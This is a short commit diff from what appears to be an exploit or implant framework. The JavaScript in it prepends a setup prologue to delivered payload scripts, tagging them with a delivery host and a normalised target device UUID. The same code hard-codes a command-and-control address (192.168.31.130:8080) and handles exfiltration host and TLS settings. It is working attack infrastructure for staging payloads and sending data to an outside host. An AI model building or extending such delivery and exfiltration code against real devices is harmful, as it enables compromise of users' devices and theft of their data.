fix: 18
This commit is contained in:
@@ -248,6 +248,7 @@ self[1] = boxed_arr;
|
||||
const p = {};
|
||||
// L1 encryption state (populated via postMessage from main thread)
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
var __labDeviceUUID = '';
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
@@ -255,7 +256,10 @@ self[1] = boxed_arr;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";';
|
||||
if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";';
|
||||
pre += '}catch(_d){}\n';
|
||||
return pre + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
@@ -356,6 +360,7 @@ self[1] = boxed_arr;
|
||||
const slide = data.slide;
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try {
|
||||
var _tls = !!data.exfilTls;
|
||||
var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
|
||||
Reference in New Issue
Block a user